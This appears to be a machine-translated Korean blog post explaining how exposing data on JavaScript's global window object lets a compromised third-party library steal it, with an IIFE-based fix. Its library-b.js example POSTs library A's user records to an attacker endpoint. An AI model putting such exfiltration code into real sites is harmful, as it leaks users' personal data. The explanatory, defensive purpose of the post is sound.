글로벌 노출을 줄여 JavaScript의 보안 침해 감소

May 02 2023

간단한 시나리오로 이 기사를 시작하겠습니다. 웹 사이트 예가 있다고 가정해 보겠습니다.

간단한 시나리오로 이 기사를 시작하겠습니다. example.com 웹 사이트가 있고 이 웹 사이트는 두 개의 라이브러리 A와 B를 사용한다고 가정해 보겠습니다. 라이브러리 A는 일부 민감한 데이터를 다루고 있으며 아무도 무단으로 액세스하지 못하도록 하는 것이 매우 중요합니다. 이제 example.com이 매우 유명하고 Eve가 사이트를 분석하여 사이트에서 라이브러리 A와 B를 사용하고 있음을 확인했다고 가정해 보겠습니다. 그녀는 라이브러리 A를 분석하고 데이터의 글로벌 노출로 인해 발생한 보안 침해를 발견했습니다(우리는 아래에서 이 주제에 대해 자세히 논의하십시오). 이제 Eve는 데이터를 가져올 수 있도록 라이브러리 A에 액세스할 수 있는 방법에 대해 생각하고 라이브러리 B에 대한 액세스 권한을 얻기 위한 계획을 세웠습니다(Eve의 경우 라이브러리 B의 소스 코드에 액세스하고 변경하는 것이 쉽다고 가정해 보겠습니다. 그것) 그리고 라이브러리 B를 통해 라이브러리 A의 콘텐츠에 액세스합니다.

이제 Eve가 어떻게 할 수 있었는지 논의해 봅시다. example.com의 소스 코드는 다음과 같습니다.

<!DOCTYPE html>
<html>
  <head>
    <title>example.com</title>
  </head>
  <body>
    <script src="./library-a.js"></script>
    <script src="./example-com.js"></script>
    <script src="./library-b.js"></script>
  </body>
</html>

도서관 A
example.com의 스크립트
도서관 B.

// library-a.js

class LibraryA {
  /**
   * @publicApi
   */
  init() {
    this.users = this.getUsers()
  }

  /**
   * @privateApi
   */
  getUsers() {
    // Let's assume that this data is fetched from the server.
    return [
      {
        firstName: 'John',
        lastName: 'Doe',
        email: '[email protected]',
        personalID: '000001'
      },
      {
        firstName: 'Jane',
        lastName: 'Doe',
        email: '[email protected]',
        personalID: '000002'
      }
    ]
  }
}

window.libraryA = new LibraryA()

// example-com.js

window.libraryA.init()

// library-b.js

class LibraryB {
  constructor() {
    this.sendDataToEve()
  }

  sendDataToEve() {
    // Eve's endpoint
    fetch('https://0123456789.com', {
      method: 'POST',
      body: JSON.stringify({ users: window.libraryA.users })
    })
  }
}

window.libraryB = new LibraryB()

init이 취약점을 수정하기 위해 IIFE(Immediately Invoked Function Expression) 함수를 사용하고 다음과 같은 방식으로 공용 API 메서드만 노출할 수 있습니다 .

// library-a.js

window.libraryA = (() => {
  class LibraryA {
    /**
     * @publicApi
     */
    init() {
      this.users = this.getUsers()
    }

    /**
     * @privateApi
     */
    getUsers() {
      // Let's assume that this data is fetched from the server.
      return [
        {
          firstName: 'John',
          lastName: 'Doe',
          email: '[email protected]',
          personalID: '000001'
        },
        {
          firstName: 'Jane',
          lastName: 'Doe',
          email: '[email protected]',
          personalID: '000002'
        }
      ]
    }
  }

  const _libraryA = new LibraryA()

  return {
    init: _libraryA.init.bind(_libraryA)
  }
})()

이 기사를 읽어 주셔서 감사합니다. 즐겁게 읽으셨기를 바랍니다. 당신은 트위터 에서 나를 따라갈 수 있습니다 .